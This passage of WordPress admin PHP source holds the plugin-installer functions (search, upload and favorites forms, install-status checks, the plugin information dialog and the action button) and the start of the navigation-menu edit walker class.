			array(
				/* translators: %s: Number of plugins. */
				'single_text'   => __( '%s plugin' ),
				/* translators: %s: Number of plugins. */
				'multiple_text' => __( '%s plugins' ),
			)
		);
	}
	echo '</p><br class="clear" /></div>';
}

/**
 * Displays a search form for searching plugins.
 *
 * @since 2.7.0
 * @since 4.6.0 The `$type_selector` parameter was deprecated.
 *
 * @param bool $deprecated Not used.
 */
function install_search_form( $deprecated = true ) {
	$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
	$term = isset( $_REQUEST['s'] ) ? urldecode( wp_unslash( $_REQUEST['s'] ) ) : '';
	?>
	<form class="search-form search-plugins" method="get">
		<input type="hidden" name="tab" value="search" />
		<label class="screen-reader-text" for="typeselector">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Search plugins by:' );
			?>
		</label>
		<select name="type" id="typeselector">
			<option value="term"<?php selected( 'term', $type ); ?>><?php _e( 'Keyword' ); ?></option>
			<option value="author"<?php selected( 'author', $type ); ?>><?php _e( 'Author' ); ?></option>
			<option value="tag"<?php selected( 'tag', $type ); ?>><?php _ex( 'Tag', 'Plugin Installer' ); ?></option>
		</select>
		<label class="screen-reader-text" for="search-plugins">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Search Plugins' );
			?>
		</label>
		<input type="search" name="s" id="search-plugins" value="<?php echo esc_attr( $term ); ?>" class="wp-filter-search" placeholder="<?php esc_attr_e( 'Search plugins...' ); ?>" />
		<?php submit_button( __( 'Search Plugins' ), 'hide-if-js', false, false, array( 'id' => 'search-submit' ) ); ?>
	</form>
	<?php
}

/**
 * Displays a form to upload plugins from zip files.
 *
 * @since 2.8.0
 */
function install_plugins_upload() {
	?>
<div class="upload-plugin">
	<p class="install-help"><?php _e( 'If you have a plugin in a .zip format, you may install or update it by uploading it here.' ); ?></p>
	<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php echo esc_url( self_admin_url( 'update.php?action=upload-plugin' ) ); ?>">
		<?php wp_nonce_field( 'plugin-upload' ); ?>
		<label class="screen-reader-text" for="pluginzip">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Plugin zip file' );
			?>
		</label>
		<input type="file" id="pluginzip" name="pluginzip" accept=".zip" />
		<?php submit_button( _x( 'Install Now', 'plugin' ), '', 'install-plugin-submit', false ); ?>
	</form>
</div>
	<?php
}

/**
 * Shows a username form for the favorites page.
 *
 * @since 3.5.0
 */
function install_plugins_favorites_form() {
	$user   = get_user_option( 'wporg_favorites' );
	$action = 'save_wporg_username_' . get_current_user_id();
	?>
	<p><?php _e( 'If you have marked plugins as favorites on WordPress.org, you can browse them here.' ); ?></p>
	<form method="get">
		<input type="hidden" name="tab" value="favorites" />
		<p>
			<label for="user"><?php _e( 'Your WordPress.org username:' ); ?></label>
			<input type="search" id="user" name="user" value="<?php echo esc_attr( $user ); ?>" />
			<input type="submit" class="button" value="<?php esc_attr_e( 'Get Favorites' ); ?>" />
			<input type="hidden" id="wporg-username-nonce" name="_wpnonce" value="<?php echo esc_attr( wp_create_nonce( $action ) ); ?>" />
		</p>
	</form>
	<?php
}

/**
 * Displays plugin content based on plugin list.
 *
 * @since 2.7.0
 *
 * @global WP_List_Table $wp_list_table
 */
function display_plugins_table() {
	global $wp_list_table;

	switch ( current_filter() ) {
		case 'install_plugins_beta':
			printf(
				/* translators: %s: URL to "Features as Plugins" page. */
				'<p>' . __( 'You are using a development version of WordPress. These feature plugins are also under development. <a href="%s">Learn more</a>.' ) . '</p>',
				'https://make.wordpress.org/core/handbook/about/release-cycle/features-as-plugins/'
			);
			break;
		case 'install_plugins_featured':
			printf(
				/* translators: %s: https://wordpress.org/plugins/ */
				'<p>' . __( 'Plugins extend and expand the functionality of WordPress. You may install plugins in the <a href="%s">WordPress Plugin Directory</a> right from here, or upload a plugin in .zip format by clicking the button at the top of this page.' ) . '</p>',
				__( 'https://wordpress.org/plugins/' )
			);
			break;
		case 'install_plugins_recommended':
			echo '<p>' . __( 'These suggestions are based on the plugins you and other users have installed.' ) . '</p>';
			break;
		case 'install_plugins_favorites':
			if ( empty( $_GET['user'] ) && ! get_user_option( 'wporg_favorites' ) ) {
				return;
			}
			break;
	}
	?>
	<form id="plugin-filter" method="post">
		<?php $wp_list_table->display(); ?>
	</form>
	<?php
}

/**
 * Determines the status we can perform on a plugin.
 *
 * @since 3.0.0
 *
 * @param array|object $api  Data about the plugin retrieved from the API.
 * @param bool         $loop Optional. Disable further loops. Default false.
 * @return array {
 *     Plugin installation status data.
 *
 *     @type string $status  Status of a plugin. Could be one of 'install', 'update_available', 'latest_installed' or 'newer_installed'.
 *     @type string $url     Plugin installation URL.
 *     @type string $version The most recent version of the plugin.
 *     @type string $file    Plugin filename relative to the plugins directory.
 * }
 */
function install_plugin_install_status( $api, $loop = false ) {
	// This function is called recursively, $loop prevents further loops.
	if ( is_array( $api ) ) {
		$api = (object) $api;
	}

	// Default to a "new" plugin.
	$status      = 'install';
	$url         = false;
	$update_file = false;
	$version     = '';

	/*
	 * Check to see if this plugin is known to be installed,
	 * and has an update awaiting it.
	 */
	$update_plugins = get_site_transient( 'update_plugins' );
	if ( isset( $update_plugins->response ) ) {
		foreach ( (array) $update_plugins->response as $file => $plugin ) {
			if ( $plugin->slug === $api->slug ) {
				$status      = 'update_available';
				$update_file = $file;
				$version     = $plugin->new_version;
				if ( current_user_can( 'update_plugins' ) ) {
					$url = wp_nonce_url( self_admin_url( 'update.php?action=upgrade-plugin&plugin=' . $update_file ), 'upgrade-plugin_' . $update_file );
				}
				break;
			}
		}
	}

	if ( 'install' === $status ) {
		if ( is_dir( WP_PLUGIN_DIR . '/' . $api->slug ) ) {
			$installed_plugin = get_plugins( '/' . $api->slug );
			if ( empty( $installed_plugin ) ) {
				if ( current_user_can( 'install_plugins' ) ) {
					$url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . $api->slug ), 'install-plugin_' . $api->slug );
				}
			} else {
				$key = array_keys( $installed_plugin );
				/*
				 * Use the first plugin regardless of the name.
				 * Could have issues for multiple plugins in one directory if they share different version numbers.
				 */
				$key = reset( $key );

				$update_file = $api->slug . '/' . $key;
				if ( version_compare( $api->version, $installed_plugin[ $key ]['Version'], '=' ) ) {
					$status = 'latest_installed';
				} elseif ( version_compare( $api->version, $installed_plugin[ $key ]['Version'], '<' ) ) {
					$status  = 'newer_installed';
					$version = $installed_plugin[ $key ]['Version'];
				} else {
					// If the above update check failed, then that probably means that the update checker has out-of-date information, force a refresh.
					if ( ! $loop ) {
						delete_site_transient( 'update_plugins' );
						wp_update_plugins();
						return install_plugin_install_status( $api, true );
					}
				}
			}
		} else {
			// "install" & no directory with that slug.
			if ( current_user_can( 'install_plugins' ) ) {
				$url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . $api->slug ), 'install-plugin_' . $api->slug );
			}
		}
	}
	if ( isset( $_GET['from'] ) ) {
		$url .= '&amp;from=' . urlencode( wp_unslash( $_GET['from'] ) );
	}

	$file = $update_file;
	return compact( 'status', 'url', 'version', 'file' );
}

/**
 * Displays plugin information in dialog box form.
 *
 * @since 2.7.0
 *
 * @global string $tab
 */
function install_plugin_information() {
	global $tab;

	if ( empty( $_REQUEST['plugin'] ) ) {
		return;
	}

	$api = plugins_api(
		'plugin_information',
		array(
			'slug' => wp_unslash( $_REQUEST['plugin'] ),
		)
	);

	if ( is_wp_error( $api ) ) {
		wp_die( $api );
	}

	$plugins_allowedtags = array(
		'a'          => array(
			'href'   => array(),
			'title'  => array(),
			'target' => array(),
		),
		'abbr'       => array( 'title' => array() ),
		'acronym'    => array( 'title' => array() ),
		'code'       => array(),
		'pre'        => array(),
		'em'         => array(),
		'strong'     => array(),
		'div'        => array( 'class' => array() ),
		'span'       => array( 'class' => array() ),
		'p'          => array(),
		'br'         => array(),
		'ul'         => array(),
		'ol'         => array(),
		'li'         => array(),
		'h1'         => array(),
		'h2'         => array(),
		'h3'         => array(),
		'h4'         => array(),
		'h5'         => array(),
		'h6'         => array(),
		'img'        => array(
			'src'   => array(),
			'class' => array(),
			'alt'   => array(),
		),
		'blockquote' => array( 'cite' => true ),
	);

	$plugins_section_titles = array(
		'description'  => _x( 'Description', 'Plugin installer section title' ),
		'installation' => _x( 'Installation', 'Plugin installer section title' ),
		'faq'          => _x( 'FAQ', 'Plugin installer section title' ),
		'screenshots'  => _x( 'Screenshots', 'Plugin installer section title' ),
		'changelog'    => _x( 'Changelog', 'Plugin installer section title' ),
		'reviews'      => _x( 'Reviews', 'Plugin installer section title' ),
		'other_notes'  => _x( 'Other Notes', 'Plugin installer section title' ),
	);

	// Sanitize HTML.
	foreach ( (array) $api->sections as $section_name => $content ) {
		$api->sections[ $section_name ] = wp_kses( $content, $plugins_allowedtags );
	}

	foreach ( array( 'version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug' ) as $key ) {
		if ( isset( $api->$key ) ) {
			$api->$key = wp_kses( $api->$key, $plugins_allowedtags );
		}
	}

	$_tab = esc_attr( $tab );

	// Default to the Description tab, Do not translate, API returns English.
	$section = isset( $_REQUEST['section'] ) ? wp_unslash( $_REQUEST['section'] ) : 'description';
	if ( empty( $section ) || ! isset( $api->sections[ $section ] ) ) {
		$section_titles = array_keys( (array) $api->sections );
		$section        = reset( $section_titles );
	}

	iframe_header( __( 'Plugin Installation' ) );

	$_with_banner = '';

	if ( ! empty( $api->banners ) && ( ! empty( $api->banners['low'] ) || ! empty( $api->banners['high'] ) ) ) {
		$_with_banner = 'with-banner';
		$low          = empty( $api->banners['low'] ) ? $api->banners['high'] : $api->banners['low'];
		$high         = empty( $api->banners['high'] ) ? $api->banners['low'] : $api->banners['high'];
		?>
		<style type="text/css">
			#plugin-information-title.with-banner {
				background-image: url( <?php echo esc_url( $low ); ?> );
			}
			@media only screen and ( -webkit-min-device-pixel-ratio: 1.5 ) {
				#plugin-information-title.with-banner {
					background-image: url( <?php echo esc_url( $high ); ?> );
				}
			}
		</style>
		<?php
	}

	echo '<div id="plugin-information-scrollable">';
	echo "<div id='{$_tab}-title' class='{$_with_banner}'><div class='vignette'></div><h2>{$api->name}</h2></div>";
	echo "<div id='{$_tab}-tabs' class='{$_with_banner}'>\n";

	foreach ( (array) $api->sections as $section_name => $content ) {
		if ( 'reviews' === $section_name && ( empty( $api->ratings ) || 0 === array_sum( (array) $api->ratings ) ) ) {
			continue;
		}

		if ( isset( $plugins_section_titles[ $section_name ] ) ) {
			$title = $plugins_section_titles[ $section_name ];
		} else {
			$title = ucwords( str_replace( '_', ' ', $section_name ) );
		}

		$class       = ( $section_name === $section ) ? ' class="current"' : '';
		$href        = add_query_arg(
			array(
				'tab'     => $tab,
				'section' => $section_name,
			)
		);
		$href        = esc_url( $href );
		$san_section = esc_attr( $section_name );
		echo "\t<a name='$san_section' href='$href' $class>$title</a>\n";
	}

	echo "</div>\n";

	?>
<div id="<?php echo $_tab; ?>-content" class='<?php echo $_with_banner; ?>'>
	<div class="fyi">
		<ul>
			<?php if ( ! empty( $api->version ) ) { ?>
				<li><strong><?php _e( 'Version:' ); ?></strong> <?php echo $api->version; ?></li>
			<?php } if ( ! empty( $api->author ) ) { ?>
				<li><strong><?php _e( 'Author:' ); ?></strong> <?php echo links_add_target( $api->author, '_blank' ); ?></li>
			<?php } if ( ! empty( $api->last_updated ) ) { ?>
				<li><strong><?php _e( 'Last Updated:' ); ?></strong>
					<?php
					/* translators: %s: Human-readable time difference. */
					printf( __( '%s ago' ), human_time_diff( strtotime( $api->last_updated ) ) );
					?>
				</li>
			<?php } if ( ! empty( $api->requires ) ) { ?>
				<li>
					<strong><?php _e( 'Requires WordPress Version:' ); ?></strong>
					<?php
					/* translators: %s: Version number. */
					printf( __( '%s or higher' ), $api->requires );
					?>
				</li>
			<?php } if ( ! empty( $api->tested ) ) { ?>
				<li><strong><?php _e( 'Compatible up to:' ); ?></strong> <?php echo $api->tested; ?></li>
			<?php } if ( ! empty( $api->requires_php ) ) { ?>
				<li>
					<strong><?php _e( 'Requires PHP Version:' ); ?></strong>
					<?php
					/* translators: %s: Version number. */
					printf( __( '%s or higher' ), $api->requires_php );
					?>
				</li>
			<?php } if ( isset( $api->active_installs ) ) { ?>
				<li><strong><?php _e( 'Active Installations:' ); ?></strong>
				<?php
				if ( $api->active_installs >= 1000000 ) {
					$active_installs_millions = floor( $api->active_installs / 1000000 );
					printf(
						/* translators: %s: Number of millions. */
						_nx( '%s+ Million', '%s+ Million', $active_installs_millions, 'Active plugin installations' ),
						number_format_i18n( $active_installs_millions )
					);
				} elseif ( $api->active_installs < 10 ) {
					_ex( 'Less Than 10', 'Active plugin installations' );
				} else {
					echo number_format_i18n( $api->active_installs ) . '+';
				}
				?>
				</li>
			<?php } if ( ! empty( $api->slug ) && empty( $api->external ) ) { ?>
				<li><a target="_blank" href="<?php echo esc_url( __( 'https://wordpress.org/plugins/' ) . $api->slug ); ?>/"><?php _e( 'WordPress.org Plugin Page &#187;' ); ?></a></li>
			<?php } if ( ! empty( $api->homepage ) ) { ?>
				<li><a target="_blank" href="<?php echo esc_url( $api->homepage ); ?>"><?php _e( 'Plugin Homepage &#187;' ); ?></a></li>
			<?php } if ( ! empty( $api->donate_link ) && empty( $api->contributors ) ) { ?>
				<li><a target="_blank" href="<?php echo esc_url( $api->donate_link ); ?>"><?php _e( 'Donate to this plugin &#187;' ); ?></a></li>
			<?php } ?>
		</ul>
		<?php if ( ! empty( $api->rating ) ) { ?>
			<h3><?php _e( 'Average Rating' ); ?></h3>
			<?php
			wp_star_rating(
				array(
					'rating' => $api->rating,
					'type'   => 'percent',
					'number' => $api->num_ratings,
				)
			);
			?>
			<p aria-hidden="true" class="fyi-description">
				<?php
				printf(
					/* translators: %s: Number of ratings. */
					_n( '(based on %s rating)', '(based on %s ratings)', $api->num_ratings ),
					number_format_i18n( $api->num_ratings )
				);
				?>
			</p>
			<?php
		}

		if ( ! empty( $api->ratings ) && array_sum( (array) $api->ratings ) > 0 ) {
			?>
			<h3><?php _e( 'Reviews' ); ?></h3>
			<p class="fyi-description"><?php _e( 'Read all reviews on WordPress.org or write your own!' ); ?></p>
			<?php
			foreach ( $api->ratings as $key => $ratecount ) {
				// Avoid div-by-zero.
				$_rating    = $api->num_ratings ? ( $ratecount / $api->num_ratings ) : 0;
				$aria_label = esc_attr(
					sprintf(
						/* translators: 1: Number of stars (used to determine singular/plural), 2: Number of reviews. */
						_n(
							'Reviews with %1$d star: %2$s. Opens in a new tab.',
							'Reviews with %1$d stars: %2$s. Opens in a new tab.',
							$key
						),
						$key,
						number_format_i18n( $ratecount )
					)
				);
				?>
				<div class="counter-container">
						<span class="counter-label">
							<?php
							printf(
								'<a href="%s" target="_blank" aria-label="%s">%s</a>',
								"https://wordpress.org/support/plugin/{$api->slug}/reviews/?filter={$key}",
								$aria_label,
								/* translators: %s: Number of stars. */
								sprintf( _n( '%d star', '%d stars', $key ), $key )
							);
							?>
						</span>
						<span class="counter-back">
							<span class="counter-bar" style="width: <?php echo 92 * $_rating; ?>px;"></span>
						</span>
					<span class="counter-count" aria-hidden="true"><?php echo number_format_i18n( $ratecount ); ?></span>
				</div>
				<?php
			}
		}
		if ( ! empty( $api->contributors ) ) {
			?>
			<h3><?php _e( 'Contributors' ); ?></h3>
			<ul class="contributors">
				<?php
				foreach ( (array) $api->contributors as $contrib_username => $contrib_details ) {
					$contrib_name = $contrib_details['display_name'];
					if ( ! $contrib_name ) {
						$contrib_name = $contrib_username;
					}
					$contrib_name = esc_html( $contrib_name );

					$contrib_profile = esc_url( $contrib_details['profile'] );
					$contrib_avatar  = esc_url( add_query_arg( 's', '36', $contrib_details['avatar'] ) );

					echo "<li><a href='{$contrib_profile}' target='_blank'><img src='{$contrib_avatar}' width='18' height='18' alt='' />{$contrib_name}</a></li>";
				}
				?>
			</ul>
					<?php if ( ! empty( $api->donate_link ) ) { ?>
				<a target="_blank" href="<?php echo esc_url( $api->donate_link ); ?>"><?php _e( 'Donate to this plugin &#187;' ); ?></a>
			<?php } ?>
				<?php } ?>
	</div>
	<div id="section-holder">
	<?php
	$requires_php = isset( $api->requires_php ) ? $api->requires_php : null;
	$requires_wp  = isset( $api->requires ) ? $api->requires : null;

	$compatible_php = is_php_version_compatible( $requires_php );
	$compatible_wp  = is_wp_version_compatible( $requires_wp );
	$tested_wp      = ( empty( $api->tested ) || version_compare( get_bloginfo( 'version' ), $api->tested, '<=' ) );

	if ( ! $compatible_php ) {
		$compatible_php_notice_message  = '<p>';
		$compatible_php_notice_message .= __( '<strong>Error:</strong> This plugin <strong>requires a newer version of PHP</strong>.' );

		if ( current_user_can( 'update_php' ) ) {
			$compatible_php_notice_message .= sprintf(
				/* translators: %s: URL to Update PHP page. */
				' ' . __( '<a href="%s" target="_blank">Click here to learn more about updating PHP</a>.' ),
				esc_url( wp_get_update_php_url() )
			) . wp_update_php_annotation( '</p><p><em>', '</em>', false );
		} else {
			$compatible_php_notice_message .= '</p>';
		}

		wp_admin_notice(
			$compatible_php_notice_message,
			array(
				'type'               => 'error',
				'additional_classes' => array( 'notice-alt' ),
				'paragraph_wrap'     => false,
			)
		);
	}

	if ( ! $tested_wp ) {
		wp_admin_notice(
			__( '<strong>Warning:</strong> This plugin <strong>has not been tested</strong> with your current version of WordPress.' ),
			array(
				'type'               => 'warning',
				'additional_classes' => array( 'notice-alt' ),
			)
		);
	} elseif ( ! $compatible_wp ) {
		$compatible_wp_notice_message = __( '<strong>Error:</strong> This plugin <strong>requires a newer version of WordPress</strong>.' );
		if ( current_user_can( 'update_core' ) ) {
			$compatible_wp_notice_message .= sprintf(
				/* translators: %s: URL to WordPress Updates screen. */
				' ' . __( '<a href="%s" target="_parent">Click here to update WordPress</a>.' ),
				esc_url( self_admin_url( 'update-core.php' ) )
			);
		}

		wp_admin_notice(
			$compatible_wp_notice_message,
			array(
				'type'               => 'error',
				'additional_classes' => array( 'notice-alt' ),
			)
		);
	}

	foreach ( (array) $api->sections as $section_name => $content ) {
		$content = links_add_base_url( $content, 'https://wordpress.org/plugins/' . $api->slug . '/' );
		$content = links_add_target( $content, '_blank' );

		$san_section = esc_attr( $section_name );

		$display = ( $section_name === $section ) ? 'block' : 'none';

		echo "\t<div id='section-{$san_section}' class='section' style='display: {$display};'>\n";
		echo $content;
		echo "\t</div>\n";
	}
	echo "</div>\n";
	echo "</div>\n";
	echo "</div>\n"; // #plugin-information-scrollable
	echo "<div id='$tab-footer'>\n";
	if ( ! empty( $api->download_link ) && ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ) ) {
		$button = wp_get_plugin_action_button( $api->name, $api, $compatible_php, $compatible_wp );
		$button = str_replace( 'class="', 'class="right ', $button );

		if ( ! str_contains( $button, _x( 'Activate', 'plugin' ) ) ) {
			$button = str_replace( 'class="', 'id="plugin_install_from_iframe" class="', $button );
		}

		echo wp_kses_post( $button );
	}
	echo "</div>\n";

	wp_print_request_filesystem_credentials_modal();
	wp_print_admin_notice_templates();

	iframe_footer();
	exit;
}

/**
 * Gets the markup for the plugin install action button.
 *
 * @since 6.5.0
 *
 * @param string       $name           Plugin name.
 * @param array|object $data           {
 *     An array or object of plugin data. Can be retrieved from the API.
 *
 *     @type string   $slug             The plugin slug.
 *     @type string[] $requires_plugins An array of plugin dependency slugs.
 *     @type string   $version          The plugin's version string. Used when getting the install status.
 * }
 * @param bool         $compatible_php   The result of a PHP compatibility check.
 * @param bool         $compatible_wp    The result of a WP compatibility check.
 * @return string The markup for the dependency row button. An empty string if the user does not have capabilities.
 */
function wp_get_plugin_action_button( $name, $data, $compatible_php, $compatible_wp ) {
	$button           = '';
	$data             = (object) $data;
	$status           = install_plugin_install_status( $data );
	$requires_plugins = $data->requires_plugins ?? array();

	// Determine the status of plugin dependencies.
	$installed_plugins                   = get_plugins();
	$active_plugins                      = get_option( 'active_plugins', array() );
	$plugin_dependencies_count           = count( $requires_plugins );
	$installed_plugin_dependencies_count = 0;
	$active_plugin_dependencies_count    = 0;
	foreach ( $requires_plugins as $dependency ) {
		foreach ( array_keys( $installed_plugins ) as $installed_plugin_file ) {
			if ( str_contains( $installed_plugin_file, '/' ) && explode( '/', $installed_plugin_file )[0] === $dependency ) {
				++$installed_plugin_dependencies_count;
			}
		}

		foreach ( $active_plugins as $active_plugin_file ) {
			if ( str_contains( $active_plugin_file, '/' ) && explode( '/', $active_plugin_file )[0] === $dependency ) {
				++$active_plugin_dependencies_count;
			}
		}
	}
	$all_plugin_dependencies_installed = $installed_plugin_dependencies_count === $plugin_dependencies_count;
	$all_plugin_dependencies_active    = $active_plugin_dependencies_count === $plugin_dependencies_count;

	if ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ) {
		switch ( $status['status'] ) {
			case 'install':
				if ( $status['url'] ) {
					if ( $compatible_php && $compatible_wp && $all_plugin_dependencies_installed && ! empty( $data->download_link ) ) {
						$button = sprintf(
							'<a class="install-now button" data-slug="%s" href="%s" aria-label="%s" data-name="%s">%s</a>',
							esc_attr( $data->slug ),
							esc_url( $status['url'] ),
							/* translators: %s: Plugin name and version. */
							esc_attr( sprintf( _x( 'Install %s now', 'plugin' ), $name ) ),
							esc_attr( $name ),
							_x( 'Install Now', 'plugin' )
						);
					} else {
						$button = sprintf(
							'<button type="button" class="install-now button button-disabled" disabled="disabled">%s</button>',
							_x( 'Install Now', 'plugin' )
						);
					}
				}
				break;

			case 'update_available':
				if ( $status['url'] ) {
					if ( $compatible_php && $compatible_wp ) {
						$button = sprintf(
							'<a class="update-now button aria-button-if-js" data-plugin="%s" data-slug="%s" href="%s" aria-label="%s" data-name="%s">%s</a>',
							esc_attr( $status['file'] ),
							esc_attr( $data->slug ),
							esc_url( $status['url'] ),
							/* translators: %s: Plugin name and version. */
							esc_attr( sprintf( _x( 'Update %s now', 'plugin' ), $name ) ),
							esc_attr( $name ),
							_x( 'Update Now', 'plugin' )
						);
					} else {
						$button = sprintf(
							'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
							_x( 'Update Now', 'plugin' )
						);
					}
				}
				break;

			case 'latest_installed':
			case 'newer_installed':
				if ( is_plugin_active( $status['file'] ) ) {
					$button = sprintf(
						'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
						_x( 'Active', 'plugin' )
					);
				} elseif ( current_user_can( 'activate_plugin', $status['file'] ) ) {
					if ( $compatible_php && $compatible_wp && $all_plugin_dependencies_active ) {
						$button_text = _x( 'Activate', 'plugin' );
						/* translators: %s: Plugin name. */
						$button_label = _x( 'Activate %s', 'plugin' );
						$activate_url = add_query_arg(
							array(
								'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $status['file'] ),
								'action'   => 'activate',
								'plugin'   => $status['file'],
							),
							network_admin_url( 'plugins.php' )
						);

						if ( is_network_admin() ) {
							$button_text = _x( 'Network Activate', 'plugin' );
							/* translators: %s: Plugin name. */
							$button_label = _x( 'Network Activate %s', 'plugin' );
							$activate_url = add_query_arg( array( 'networkwide' => 1 ), $activate_url );
						}

						$button = sprintf(
							'<a href="%1$s" data-name="%2$s" data-slug="%3$s" data-plugin="%4$s" class="button button-primary activate-now" aria-label="%5$s">%6$s</a>',
							esc_url( $activate_url ),
							esc_attr( $name ),
							esc_attr( $data->slug ),
							esc_attr( $status['file'] ),
							esc_attr( sprintf( $button_label, $name ) ),
							$button_text
						);
					} else {
						$button = sprintf(
							'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
							is_network_admin() ? _x( 'Network Activate', 'plugin' ) : _x( 'Activate', 'plugin' )
						);
					}
				} else {
					$button = sprintf(
						'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
						_x( 'Installed', 'plugin' )
					);
				}
				break;
		}
	}

	return $button;
}
<?php
/**
 * Navigation Menu API: Walker_Nav_Menu_Edit class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Create HTML list of nav menu input items.
 *
 * @since 3.0.0
 *
 * @see Walker_Nav_Menu
 */
class Walker_Nav_Menu_Edit extends Walker_Nav_Menu {
	/**
	 * Starts the list before the elements are added.
	 *
	 * @see Walker_Nav_Menu::start_lvl()
	 *
	 * @since 3.0.0
	 *
	 * @param string   $output Passed by reference.
	 * @param int      $depth  Depth of menu item. Used for padding.
	 * @param stdClass $args   Not used.
	 */
	public function start_lvl( &$output, $depth = 0, $args = null ) {}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @see Walker_Nav_Menu::end_lvl()
	 *
	 * @since 3.0.0
	 *
	 * @param string   $output Passed by reference.
	 * @param int      $depth  Depth of menu item. Used for padding.
	 * @param stdClass $args   Not used.
	 */
	public function end_lvl( &$output, $depth = 0, $args = null ) {}

	/**
	 * Start the element output.
	 *
	 * @see Walker_Nav_Menu::start_el()
	 * @since 3.0.0
	 * @since 5.9.0 Renamed `$item` to `$data_object` and `$id` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 *
	 * @global int $_wp_nav_menu_max_depth
	 *
	 * @param string   $output            Used to append additional content (passed by reference).
	 * @param WP_Post  $data_object       Menu item data object.
	 * @param int      $depth             Depth of menu item. Used for padding.
	 * @param stdClass $args              Not used.
	 * @param int      $current_object_id Optional. ID of the current menu item. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = null, $current_object_id = 0 ) {
		global $_wp_nav_menu_max_depth;

		// Restores the more descriptive, specific name for use within this method.
		$menu_item = $data_object;

		$_wp_nav_menu_max_depth = $depth > $_wp_nav_menu_max_depth ? $depth : $_wp_nav_menu_max_depth;

		ob_start();
		$item_id      = esc_attr( $menu_item->ID );
		$removed_args = array(
			'action',
			'customlink-tab',
			'edit-menu-item',
			'menu-item',
			'page-tab',
			'_wpnonce',
		);

		$original_title = false;

		if ( 'taxonomy' === $menu_item->type ) {
			$original_object = get_term( (int) $menu_item->object_id, $menu_item->object );
			if ( $original_object && ! is_wp_error( $original_object ) ) {
				$original_title = $original_object->name;
			}
		} elseif ( 'post_type' === $menu_item->type ) {
			$original_object = get_post( $menu_item->object_id );
			if ( $original_object ) {
				$original_title = get_the_title( $original_object->ID );
			}
		} elseif ( 'post_type_archive' === $menu_item->type ) {
			$original_object = get_post_type_object( $menu_item->object );
			if ( $original_object ) {
				$original_title = $original_object->labels->archives;
			}
		}

		$classes = array(
			'menu-item menu-item-depth-' . $depth,
			'menu-item-' . esc_attr( $menu_item->object ),
			'menu-item-edit-' . ( ( isset( $_GET['edit-menu-item'] ) && $item_id === $_GET['edit-menu-item'] ) ? 'active' : 'inactive' ),
		);

		$title = $menu_item->title;

		if ( ! empty( $menu_item->_invalid ) ) {
			$classes[] = 'menu-item-invalid';
			/* translators: %s: Title of an invalid menu item. */
			$title = sprintf( __( '%s (Invalid)' ), $menu_item->title );
		} elseif ( isset( $menu_item->post_status ) && 'draft' === $menu_item->post_status ) {
			$classes[] = 'pending';
			/* translators: %s: Title of a menu item in draft status. */
			$title = sprintf( __( '%s (Pending)' ), $menu_item->title );
		}

		$title = ( ! isset( $menu_item->label ) || '' === $menu_item->label ) ? $title : $menu_item->label;

		$submenu_text = '';
		if ( 0 === $depth ) {
			$submenu_text = 'style="display: none;"';
		}

		?>
		<li id="menu-item-<?php echo $item_id; ?>" class="<?php echo implode( ' ', $classes ); ?>">
			<div class="menu-item-bar">
				<div class="menu-item-handle">
					<label class="item-title" for="menu-item-checkbox-<?php echo $item_id; ?>">
						<input id="menu-item-checkbox-<?php echo $item_id; ?>" type="checkbox" class="menu-item-checkbox" data-menu-item-id="<?php echo $item_id; ?>" disabled="disabled" />
						<span class="menu-item-title"><?php echo esc_html( $title ); ?></span>
						<span class="is-submenu" <?php echo $submenu_text; ?>><?php _e( 'sub item' ); ?></span>
					</label>
					<span class="item-controls">
						<span class="item-type"><?php echo esc_html( $menu_item->type_label ); ?></span>
						<span class="item-order hide-if-js">
							<?php
							printf(
								'<a href="%s" class="item-move-up" aria-label="%s">&#8593;</a>',
								wp_nonce_url(
									add_query_arg(
										array(
											'action'    => 'move-up-menu-item',
											'menu-item' => $item_id,
										),
										remove_query_arg( $removed_args, admin_url( 'nav-menus.php' ) )
									),
									'move-menu_item'
								),
								esc_attr__( 'Move up' )
							);
							?>
							|
							<?php
							printf(
								'<a href="%s" class="item-move-down" aria-label="%s">&#8595;</a>',
								wp_nonce_url(
									add_query_arg(
										array(
											'action'    => 'move-down-menu-item',
											'menu-item' => $item_id,
										),
										remove_query_arg( $removed_args, admin_url( 'nav-menus.php' ) )
									),
									'move-menu_item'
								),
								esc_attr__( 'Move down' )
							);
							?>
						</span>
						<?php
						if ( isset( $_GET['edit-menu-item'] ) && $item_id === $_GET['edit-menu-item'] ) {
							$edit_url = admin_url( 'nav-menus.php' );
						} else {
							$edit_url = add_query_arg(
								array(
									'edit-menu-item' => $item_id,
								),
								remove_query_arg( $removed_args, admin_url( 'nav-menus.php#menu-item-settings-' . $item_id ) )
							);
						}

						printf(
							'<a class="item-edit" id="edit-%s" href="%s" aria-label="%s"><span class="screen-reader-text">%s</span></a>',
							$item_id,
							esc_url( $edit_url ),
							esc_attr__( 'Edit menu item' ),
							/* translators: Hidden accessibility text. */
							__( 'Edit' )
						);
						?>
					</span>
				</div>
			</div>

			<div class="menu-item-settings wp-clearfix" id="menu-item-settings-<?php echo $item_id; ?>">
				<?php if ( 'custom' === $menu_item->type ) : ?>
					<p class="field-url description description-wide">
						<label for="edit-menu-item-url-<?php echo $item_id; ?>">
							<?php _e( 'URL' ); ?><br />
							<input type="text" id="edit-menu-item-url-<?php echo $item_id; ?>" class="widefat code edit-menu-item-url" name="menu-item-url[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->url ); ?>" />
						</label>
					</p>
				<?php endif; ?>
